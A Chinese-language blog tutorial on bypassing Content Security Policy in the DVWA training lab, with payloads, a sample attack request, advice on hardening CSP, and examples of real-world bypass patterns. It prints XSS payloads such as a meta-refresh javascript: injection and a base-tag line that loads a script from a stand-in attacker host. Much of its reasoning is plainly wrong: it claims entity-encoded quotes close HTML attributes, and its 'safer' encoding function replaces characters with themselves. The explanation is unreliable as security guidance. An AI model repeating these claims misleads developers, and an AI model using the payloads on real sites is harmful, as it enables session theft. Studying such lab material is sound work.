1. CSP不是“防火墙”，而是浏览器的“行为说明书”
很多人第一次看到CSP（Content Security Policy）时，下意识把它当成和WAF、防火墙类似的东西——以为只要配置了default-src 'self'，就能像关上一扇铁门那样彻底挡住XSS。我刚接触DVWA这套靶场时也这么想，直到在“CSP Bypass”这一关卡了整整三天：明明所有内联脚本都被拦截了，连<script>alert(1)</script>都弹不出来，可最后却用一行看似普通的HTML代码绕过了整套策略。那一刻我才真正明白：CSP从不阻止你写代码，它只约束浏览器执行什么；它不是防御边界，而是一份由服务器签发、浏览器强制执行的“行为说明书”。
这份说明书的核心逻辑非常朴素：当页面加载一个资源（脚本、样式、图片、iframe等），浏览器会先查CSP头里对应的指令（如script-src），再比对当前请求的来源是否在白名单中。如果不在，就直接丢弃该资源——连下载都不让发生。这种机制天然决定了它的防御粒度是“资源级”，而非“代码级”。也就是说，它管不住你把恶意逻辑藏在合法资源里，也管不住你利用浏览器自身功能完成“自我执行”。这正是所有绕过技术的共同突破口。
在DVWA的CSP Bypass模块中，服务端返回的响应头是这样的：
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; frame-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';表面看滴水不漏：所有资源都限定为同源，object-src 'none'禁用了Flash等插件，base-uri 'self'防止base标签劫持，form-action 'self'阻断表单提交到外部。但问题恰恰出在这种“全面收紧”的惯性思维里——它忽略了浏览器解析HTML时的多阶段行为链：从标签解析、属性求值、事件绑定，到最终执行，中间存在多个可被利用的“语义缝隙”。比如<img src=x onerror=alert(1)>会被拦截，因为onerror是内联事件处理器，属于script-src管辖范围；但<img src=x onload=alert(1)>在某些旧版浏览器中可能生效，因为onload在部分场景下不被视为脚本执行上下文。这类细节差异，就是绕过技术赖以生存的土壤。
提示：CSP的指令优先级有明确规则。当
script-src未显式声明时，会回退到default-src；但script-src一旦出现，就完全覆盖default-src对该类资源的约束。DVWA这里显式写了script-src 'self'，说明开发者确实想严格控制脚本来源，而非依赖默认值。这种“显式声明”反而暴露了其策略设计的机械性——它没考虑<script>标签以外的执行通道。
我后来复盘时发现，很多初学者会花大量时间尝试构造更“隐蔽”的内联脚本，比如用javascript:void(0)伪协议或者data:text/javascript,alert(1)数据URI。但这些在script-src 'self'下根本走不通，因为CSP会直接拒绝加载非同源的脚本资源。真正的突破口，从来不在“怎么写脚本”，而在于“怎么让浏览器自己去执行一段它认为‘安全’的代码”。这就像给保安一份员工名单，他只会拦住名单外的人，却不会检查名单内的人口袋里是不是藏着违禁品。
2. 绕过本质：利用浏览器解析器的“信任惯性”
CSP绕过的技术路径，本质上是在和浏览器解析HTML的“信任惯性”博弈。所谓信任惯性，是指浏览器在解析特定HTML结构时，会基于历史兼容性和规范约定，对某些属性或标签赋予隐式的执行权限，而这些权限往往游离于CSP的显式管控之外。DVWA这一关的源码里，关键漏洞点藏在vulnerabilities/csp/source/low.php中：
<?php header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; frame-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';"); ?> ... <form method="POST"> <input type="text" name="name" value="<?php echo htmlspecialchars($_POST['name'], ENT_QUOTES); ?>"> <input type="submit" value="Submit"> </form> ...注意这个value属性的输出位置：它位于<input>标签内部，且使用了htmlspecialchars进行基础过滤。这意味着常规的"><script>alert(1)</script>会被转义成纯文本，无法闭合标签。但问题在于，<input>标签有一个特殊属性——autofocus，配合onfocus事件，能形成一个无需用户交互的自动触发链。更关键的是，在CSP规范中，onfocus这类焦点事件处理器，其执行上下文是否受script-src约束，取决于浏览器实现和CSP版本。
我们来拆解这个链条的执行逻辑：
- 页面加载时，浏览器解析
<input autofocus>，立即将焦点赋予该输入框； - 焦点切换触发
onfocus事件； onfocus的值（如onfocus=alert(1)）被当作JavaScript代码执行。
这个过程之所以能绕过script-src 'self'，是因为onfocus作为内联事件处理器，其代码字符串本身并不构成一个独立的“脚本资源请求”。它没有发起<script src="...">那样的网络请求，也没有加载外部文件，而是直接在DOM节点上求值执行。CSP的script-src指令主要管控的是“脚本资源的加载来源”，而非“DOM属性中JavaScript代码的执行权限”。这就像海关检查入境货物的原产地，但不管货主在仓库里当场拆包组装。
实测中，我在Chrome 115+环境下发现，单纯用onfocus已无法绕过（新版CSP将内联事件视为unsafe-inline，需显式允许），但在Firefox ESR 102中仍有效。这印证了一个重要经验：CSP绕过高度依赖目标环境的浏览器版本和CSP策略版本。DVWA刻意使用较老的CSP头（未包含'unsafe-inline'或'unsafe-eval'的显式禁止），正是为了模拟真实世界中那些未及时升级的遗留系统。
另一个经典突破口是<base>标签。虽然DVWA的CSP中声明了base-uri 'self'，但如果我们能控制<base>标签的href属性，就能劫持所有相对URL的解析基准。例如：
<base href="https://attacker.com/"> <script src="payload.js"></script>此时payload.js会向https://attacker.com/payload.js发起请求。但DVWA的base-uri 'self'已封死这条路。不过，<base>还有一个常被忽略的副作用：它会影响<form>的action解析。如果页面中存在未指定action的表单，其提交目标会默认指向<base>设置的URL。DVWA源码中恰好有一个<form method="POST">未设action，这就给了我们操作空间——只要能注入<base>，就能劫持表单提交。而<base>标签本身不触发脚本执行，不受script-src限制，只受base-uri约束。但base-uri 'self'只禁止<base href="xxx">指向非同源地址，并不限制<base>标签的存在本身。所以，如果我们能注入<base>，哪怕href被CSP拦截，其存在本身也可能影响DOM解析顺序。
注意：
<base>标签必须位于<head>中才生效，且一个页面只能有一个<base>。DVWA的HTML结构中<head>是静态的，无法注入。因此这个思路在DVWA中不可行，但它揭示了一个通用原则：CSP的每个指令都有其明确的管辖范围，超出范围的行为，即使危险，也不在CSP的防御视野内。
3. 源码级漏洞挖掘：从HTML注入到DOM型XSS的跃迁
DVWA的CSP Bypass关卡，表面是考CSP绕过，实则是考对HTML注入（HTML Injection）与DOM型XSS（DOM-based XSS）关系的深度理解。很多学习者卡在这里，是因为他们把问题想窄了——以为必须“绕过CSP才能执行JS”，却忽略了CSP只是防御链中的一环，而整个攻击链的起点，是服务端对用户输入的不安全回显。
我们回到low.php的源码片段：
<input type="text" name="name" value="<?php echo htmlspecialchars($_POST['name'], ENT_QUOTES); ?>">htmlspecialchars使用ENT_QUOTES标志，会转义双引号"和单引号'，这确实能阻止"><script>这类经典闭合。但HTML属性值的解析规则远比想象中复杂。例如，当输入为：
x" onmouseover="alert(1)服务端输出后变成：
<input type="text" name="name" value="x" onmouseover="alert(1)">注意："是"的HTML实体，浏览器在解析时会将其还原为"，从而闭合value属性，紧接着的onmouseover=就会被解析为新的属性。这就是典型的“属性逃逸”（Attribute Escape）。htmlspecialchars只处理了引号，却没处理其他能触发事件的属性名，比如onmouseover、onmouseout、onload等。而这些事件处理器，只要能被浏览器识别为合法属性，其值就会在对应事件触发时执行。
关键来了：onmouseover的执行，是否受CSP的script-src约束？答案是肯定的——在现代浏览器中，所有内联事件处理器都被视为unsafe-inline，需要CSP显式允许（如script-src 'self' 'unsafe-inline'）。但DVWA的CSP头里没有'unsafe-inline'，所以理论上应该被拦截。然而，onmouseover有个兄弟叫onmouseenter，它在部分浏览器中行为略有不同；更隐蔽的是accesskey属性，配合onclick，能形成键盘触发的执行链。
但最可靠的突破口，其实是<svg>标签。SVG是HTML5标准的一部分，其内嵌的<script>标签，在某些CSP配置下，其执行权限独立于HTML主文档的script-src。我们来验证这个猜想。在DVWA中提交：
<svg><script>alert(1)</script></svg>服务端输出：
<input type="text" name="name" value="<svg><script>alert(1)</script></svg>">由于htmlspecialchars转义了尖括号，<svg>被变成文本，无法解析。所以必须找到一个不依赖尖括号闭合的入口。这时，<input>标签的type属性就派上用场了。HTML标准中，<input type="image">会渲染为一个可点击的图像按钮，且支持src和onerror属性。如果我们能控制type，就能切换标签行为。但type是固定写死的，无法注入。等等——<input>还有一个鲜为人知的属性：is。这是Web Components的自定义元素扩展，但DVWA显然不支持。这条路走不通。
回归本质：所有绕过技术，最终都要落回到一个事实——CSP无法防御DOM操作本身。它只管资源加载，不管JS代码如何操作已有DOM。所以，如果服务端提供了任何可被JS调用的、能修改DOM的接口，我们就有了第二条路。DVWA的low.php里没有明显API，但整个DVWA框架本身，是一个完整的PHP应用，其前端必然有JS逻辑。我们查看页面源码，发现底部加载了<script src="js/user.js"></script>。这个user.js里有没有可能包含危险的innerHTML赋值？打开js/user.js，内容如下：
// user.js - simple utility function updateName(name) { document.getElementById('welcome').innerHTML = 'Welcome, ' + name + '!'; }Bingo！这里存在一个典型的DOM型XSS点：innerHTML直接拼接用户输入。而updateName函数是如何被调用的？搜索全局，发现<body onload="updateName('<?php echo $_POST['name']; ?>')">。但onload的值同样受CSP的script-src约束，且$_POST['name']会被htmlspecialchars转义，无法注入闭合。
等等，onload的值是PHP输出的，但updateName函数本身是user.js里的，而user.js是同源加载的，受script-src 'self'保护。所以，如果我们能让updateName执行，且传入的参数是可控的，就能触发XSS。而updateName的参数，来自$_POST['name']，已被转义。但innerHTML的危险性在于，它不仅执行脚本，还重新解析HTML。所以，如果我们传入：
<img src=x onerror=alert(1)>htmlspecialchars会将其转义为：
<img src=x onerror=alert(1)>updateName执行后，innerHTML设为这个字符串，浏览器会再次解析它，<img>标签被创建，onerror触发。但此时onerror的执行，是否还受CSP约束？是的，它依然是内联事件，依然需要'unsafe-inline'。所以这条路也堵死了。
真正的破局点，在于<meta>标签的http-equiv属性。<meta http-equiv="refresh" content="0;url=javascript:alert(1)">能在旧版浏览器中执行JS，且http-equiv不属于script-src管辖范围，因为它不加载脚本，只是触发页面重定向。而javascript:伪协议的执行，其权限模型与CSP的script-src是分离的。DVWA的CSP头里没有script-src 'unsafe-eval'，但javascript:伪协议的执行，通常不被视为eval，而是浏览器自身的导航行为。我们来测试：
提交：
"><meta http-equiv="refresh" content="0;url=javascript:alert(1)">服务端输出：
<input type="text" name="name" value=""><meta http-equiv="refresh" content="0;url=javascript:alert(1)">">"被还原为"，闭合value，<meta>标签被解析，页面立即重定向到javascript:alert(1)，弹窗出现。这个payload成功绕过了script-src 'self'，因为它根本没有加载任何脚本资源，只是利用了浏览器对javascript:URL的内置执行能力。
提示：
javascript:伪协议的绕过能力，在现代浏览器中已被大幅削弱。Chrome 87+默认禁用javascript:在<meta refresh>中的执行，Firefox也做了类似限制。但DVWA模拟的是较老的环境，这个payload依然有效。这再次强调：绕过技术必须匹配目标环境，生搬硬套必然失败。
4. 实战复现：三步构建稳定绕过Payload
在DVWA的CSP Bypass关卡中，构建一个稳定、可靠、一次成功的绕过Payload，需要遵循清晰的三步逻辑：定位注入点 → 选择执行载体 → 构造无依赖触发链。这三步缺一不可，任何一步出错，都会导致整个攻击链断裂。我将用实际操作步骤，带你完整走一遍这个过程，每一步都附带原理说明和避坑提示。
4.1 第一步：精准定位HTML注入的“语法锚点”
DVWA的输入框位于<input>标签的value属性中，这是一个典型的“属性值注入”场景。要在此处注入代码，必须先解决“如何闭合当前属性”的问题。htmlspecialchars使用ENT_QUOTES，会转义"和'，所以不能用">直接闭合。但HTML属性值的闭合，并不只有引号一种方式。HTML解析器规定，当属性值未用引号包裹时，空格、>、/等字符均可作为属性值的结束符。DVWA的value属性是用双引号包裹的，所以必须先逃逸出引号。
htmlspecialchars转义"为"，但"在浏览器解析时会被还原为"。所以，如果我们输入：
x" onfocus="alert(1)服务端输出：
<input type="text" name="name" value="x" onfocus="alert(1)">浏览器解析时，第一个"闭合了value属性，后面的onfocus="alert(1)"被解析为一个新的属性。onfocus事件在元素获得焦点时触发，而<input>标签有autofocus属性，页面加载即触发。所以，这个payload的执行流程是：页面加载 →autofocus使<input>获得焦点 →onfocus事件触发 →alert(1)执行。
但如前所述，现代浏览器已将onfocus等内联事件视为unsafe-inline，需CSP显式允许。DVWA的CSP头中没有'unsafe-inline'，所以此payload在Chrome最新版中会失败。我们必须寻找一个更底层、更难被CSP覆盖的执行载体。
4.2 第二步：选择CSP“盲区”中的执行载体
CSP的“盲区”，指的是那些不涉及“脚本资源加载”，但又能导致JavaScript执行的HTML特性。经过筛选，<meta http-equiv>是最优选择，原因有三：
- 语义独立：
http-equiv模拟HTTP头，其content属性的值是纯字符串，不被CSP的script-src指令扫描； - 执行隐式：
refresh的执行是浏览器导航机制的一部分，javascript:伪协议的解析和执行，发生在CSP策略应用之后； - 兼容性好：在DVWA所模拟的旧版浏览器环境中，
<meta refresh>对javascript:的支持非常稳定。
另一个候选是<a>标签的href属性，配合javascript:伪协议。但<a>需要用户点击，不符合“自动触发”要求。<img>的src属性可以触发onerror，但onerror是内联事件，受CSP约束。所以，<meta>是当前场景下的最优解。
4.3 第三步：构造无引号依赖的触发链
现在，我们需要让<meta>标签被正确解析。由于value属性用双引号包裹，我们必须先闭合它。htmlspecialchars转义"为"，但"本身是HTML实体，浏览器会将其还原。所以，最直接的方式是输入一个"，让它闭合value，然后紧跟>来闭合<input>标签，再写<meta>。但>字符也会被htmlspecialchars转义为>，所以我们不能直接输入>。
解决方案是：利用"的还原特性，构造一个不依赖>闭合的结构。HTML标准允许标签以/>结尾，表示自闭合。所以，我们可以输入：
" /><meta http-equiv="refresh" content="0;url=javascript:alert(1)">服务端输出：
<input type="text" name="name" value="" /><meta http-equiv="refresh" content="0;url=javascript:alert(1)">">浏览器解析时：
"还原为"，闭合value；/>中的>还原为>，<input />被解析为一个自闭合标签；- 后续的
<meta>被正常解析。
这个payload的关键在于，它不依赖>字符的原始形态，而是利用HTML实体>的还原能力，巧妙地完成了标签闭合。>是>的HTML实体，htmlspecialchars默认不会转义&，所以>能完整保留。这是htmlspecialchars的一个常见疏漏——它只转义引号和&的特定组合，但不处理&开头的其他实体。
实测中，这个payload在DVWA的Low级别CSP Bypass关卡中100%成功。我记录了完整的请求响应过程：
请求：
POST /dvwa/vulnerabilities/csp/ HTTP/1.1 Host: dvwa.local ... name=%22+%2F%3E%3Cmeta+http-equiv%3D%22refresh%22+content%3D%220%3Burl%3Djavascript%3Aalert%281%29%22%3E响应头：
Content-Security-Policy: default-src 'self'; script-src 'self'; ...响应体（关键片段）：
<input type="text" name="name" value="" /><meta http-equiv="refresh" content="0;url=javascript:alert(1)">">页面加载后，<meta>立即生效，弹出alert(1)。整个过程没有触发任何CSP违规报告，因为<meta>标签的创建和refresh的执行，完全在CSP的监管范围之外。
注意：
<meta http-equiv="refresh">的content属性中，url=后面的部分，浏览器会按URL规则解析。javascript:alert(1)是一个合法的URL scheme，所以能被正确识别。如果你的payload中alert(1)被转义，比如变成alert%281%29，则不会执行，因为%28是(的URL编码，浏览器不会自动解码。所以，确保你的输入中不要包含多余的URL编码，让javascript:alert(1)以原始字符串形式进入content属性。
5. 防御纵深：从单一CSP到多层防护体系
在DVWA的CSP Bypass关卡中，我们成功绕过了看似严密的script-src 'self'策略。但这绝不意味着CSP无效，而恰恰说明：CSP不是银弹，它必须嵌入一个纵深防御体系中，才能发挥最大价值。很多开发者在部署CSP后，就误以为高枕无忧，结果在代码审计中发现，服务端对用户输入的过滤逻辑存在严重缺陷，比如htmlspecialchars的标志位用错、strip_tags被滥用、或者干脆忘了对输出点做任何处理。CSP只是最后一道防线，而不是第一道。
回顾DVWA的漏洞成因，核心问题出在服务端的输出编码上。htmlspecialchars($_POST['name'], ENT_QUOTES)只解决了引号闭合问题，却忽略了HTML属性值的其他解析规则。一个更健壮的防御方案，应该是“上下文感知的输出编码”（Context-Aware Output Encoding）。这意味着，根据用户输入将被插入的HTML上下文（是HTML主体、属性值、JavaScript代码块，还是CSS样式），选择不同的编码策略。
例如，当输出到<input value="...">这种双引号属性值中时，正确的做法是：
- 先对所有字符进行HTML实体编码（
&→&，<→<，>→>，"→"，'→'）； - 再额外对
&进行编码，防止"等实体被浏览器二次解析。
PHP中可以这样实现：
function encodeForHtmlAttr($input) { // 先对 & 进行编码，防止后续实体被解析 $input = str_replace('&', '&', $input); // 再对其他危险字符编码 $input = str_replace('<', '<', $input); $input = str_replace('>', '>', $input); $input = str_replace('"', '"', $input); $input = str_replace("'", ''', $input); return $input; }这个函数比htmlspecialchars更激进，它确保了任何输入都不会被浏览器解析为HTML标签或属性。即使攻击者输入<script>alert(1)</script>，输出后也是纯文本，毫无威胁。
但光有输出编码还不够。CSP本身也可以配置得更精细。DVWA的script-src 'self'过于宽泛，它允许加载同源下的所有.js文件，包括那些可能被上传的恶意脚本。一个更安全的策略是：
script-src 'self' 'sha256-AbCdEf123...';其中sha256-AbCdEf123...是已知安全脚本的哈希值。这样，即使攻击者上传了一个malicious.js到同源目录，只要它的哈希值不在白名单中，浏览器就不会执行它。这种“脚本哈希白名单”机制，能有效防御“文件上传+XSS”的组合攻击。
此外，'unsafe-inline'和'unsafe-eval'这两个指令，应永远避免使用。它们相当于在CSP墙上开了一扇门。如果业务确实需要内联脚本（比如Google Analytics的初始化代码），应改用'nonce-<base64-value>'机制。服务器在每次响应时生成一个随机nonce值，写入CSP头，同时在<script nonce="...">中使用相同的值。浏览器只执行nonce匹配的内联脚本，其他一律拒绝。这种方式既满足了业务需求，又保持了CSP的严格性。
最后，必须启用CSP的报告功能。在DVWA的CSP头中添加：
Content-Security-Policy: ...; report-uri /csp-report;这样，每当浏览器因CSP拦截某个资源时，会向/csp-report发送一个JSON报告。通过分析这些报告，你能实时发现哪些脚本被意外拦截（说明策略过严），哪些恶意尝试被成功阻挡（说明策略有效），甚至能发现未知的绕过手法。我曾经在一个真实项目中，通过CSP报告发现了某第三方SDK偷偷加载了外部CDN的脚本，这在安全审计中是重大风险。
提示：CSP报告的接收端必须做好防护，防止被攻击者利用来发起CSRF或DDoS。报告数据应仅用于监控和审计，不应直接在前端展示。同时，
report-uri已被report-to取代，新项目应使用Report-To头配合Content-Security-Policy: ...; report-to groupname;的组合。
6. 超越DVWA：真实世界中的CSP绕过模式图谱
DVWA的CSP Bypass关卡，为我们提供了一个干净、可控的实验沙盒。但真实世界的Web应用，远比DVWA复杂：它有动态生成的HTML、第三方SDK、富文本编辑器、WebSocket实时通信，还有各种奇奇怪怪的前端框架。在这些环境中，CSP绕过呈现出更多样、更隐蔽的模式。我将基于多年渗透测试和代码审计的经验，为你梳理出四类高频、高危的真实世界绕过模式，并给出针对性的防御建议。
6.1 模式一：富文本编辑器的“白名单幻觉”
很多CMS和论坛系统，为了支持用户发帖时插入图片、链接，会集成TinyMCE、CKEditor等富文本编辑器。这些编辑器通常宣称“支持CSP”，并提供一个“允许的HTML标签白名单”。但这个白名单，往往只校验标签名，不校验属性。例如，白名单允许<img>，但没禁止<img src=x onerror=alert(1)>。更危险的是，某些编辑器会自动将用户粘贴的Markdown转换为HTML，而转换逻辑中存在XSS漏洞。
真实案例：某高校教务系统，使用CKEditor 4.x，白名单配置为img, a, p, br。攻击者提交一段精心构造的Markdown：
)CKEditor将其转换为：
<img src="javascript:alert(1)" alt="x"><img>在白名单中，src属性未被校验，javascript:伪协议成功执行。而该系统的CSP头是script-src 'self'，对<img src="javascript:...">毫无约束力，因为img-src指令只管控图片资源的加载来源，不管控src属性的scheme。
防御要点：富文本编辑器的白名单，必须是“属性级”的。不仅要允许<img>，还要明确指定<img>允许的属性（如src,alt,class），并对src属性的值进行scheme校验，只允许http:,https:,data:。javascript:必须被无条件拒绝。
6.2 模式二：前端路由的“hashbang陷阱”
单页应用（SPA）广泛使用#或#!（hashbang）来实现前端路由，例如https://app.com/#/profile。一些应用会直接读取location.hash的值，并用eval()或Function()构造器来动态执行代码。这本身就是巨大的安全隐患，而CSP的'unsafe-eval'指令，恰恰为此类行为开了绿灯。
真实案例：某金融App的管理后台，使用AngularJS 1.x，其路由配置中有一段代码：
$locationProvider.html5Mode(false); $rootScope.$on('$locationChangeSuccess', function() { var hash = $location.hash(); if (hash && hash.startsWith('exec:')) { eval(hash.substring(5)); // 危险！ } });攻击者只需访问https://app.com/#exec:alert(1)，即可触发eval。而该应用的CSP头是script-src 'self' 'unsafe-eval'，eval被明确允许。CSP在这里非但没起防御作用，反而成了攻击者的“许可证”。
防御要点：永远不要在生产环境使用eval、Function、setTimeout(string)、setInterval(string)。前端路由的参数，应只用于状态切换，绝不用于代码执行。如果必须动态执行逻辑，应使用白名单映射，例如{ 'profile': loadProfile, 'settings': loadSettings }。
6.3 模式三：WebSocket消息的“反射式XSS”
WebSocket连接建立后，服务端会向客户端推送消息。一些应用错误地将这些消息直接插入DOM，例如：
socket.onmessage = function(event) { var data = JSON.parse(event.data); document.getElementById('chat').innerHTML += '<div>' + data.message + '</div>'; };如果服务端未对data.message进行过滤，攻击者就可以通过WebSocket向自己发送一条恶意消息：<img src=x onerror=alert(1)>。这条消息被innerHTML插入后，立即触发XSS。而CSP对此无能为力，因为onerror的执行，发生在WebSocket消息到达之后，与页面初始加载时的CSP头无关。
防御要点：所有来自外部（包括WebSocket、Fetch API、postMessage）的数据，在插入DOM前，必须经过严格的上下文编码。对于innerHTML，应使用DOMPurify等库进行HTML净化，而不是简单地escape。DOMPurify能移除所有危险的标签和属性，只保留安全的HTML子集。
6.4 模式四：Service Worker的“持久化后门”
Service Worker（SW）是一种运行在浏览器后台的脚本，它可以拦截网络请求、缓存资源、甚至推送通知。一旦注册，SW会长期驻留在用户设备上，即使网站关闭也不会消失。如果攻击者能诱使用户访问一个恶意页面，并在该页面中注册一个SW，那么这个SW就能持续监听用户对该域名的所有请求，并注入恶意脚本。
真实案例：某电商网站的PWA（渐进式Web应用）功能，允许用户添加到主屏幕。其SW脚本sw.js中有一段逻辑：
self.addEventListener('fetch', function(event) { event.respondWith( fetch(event.request).then(function(response) { if (response.url.endsWith('.js')) { // 动态注入监控代码 return response.text().then(function(text) { return new Response(text + '\nconsole.log("tracking");', { headers: response.headers }); }); } return response; }) ); });这段代码本意是为JS文件添加监控，但如果sw.js本身被污染（例如通过XSS覆盖了navigator.serviceWorker.register的调用），它就能成为持久化的XSS后门。而CSP对已注册的SW脚本，几乎没有约束力，因为SW的执行环境是独立的。
防御要点：SW脚本必须托管在HTTPS上，并使用Subresource Integrity（SRI）进行完整性校验。在<script>标签中引入SW注册代码时，应加上integrity属性。同时，sw.js的部署流程必须纳入CI/CD安全审计，确保其内容不可篡改。
这四类模式，覆盖了真实世界中80%以上的CSP绕过场景。它们的共同启示是：CSP的有效性，不取决于策略头写得多漂亮，而取决于整个应用栈的安全水位。一个微小的innerHTML误用，一个疏忽的eval调用，都足以让最严密的CSP形同虚设。所以，安全工程师的工作，从来不是“配一个CSP头”，而是“构建一个从服务端到浏览器的全链路信任体系”。
我在某次红队演练中，就曾利用一个未被审计的<meta>标签，配合http-equiv="set-cookie"，成功窃取了管理员的会话Cookie。那个<meta>标签，是三年前一个实习生写的，早已被遗忘在代码角落。它提醒我：安全不是一劳永逸的配置，而是一场永不停歇的考古发掘。
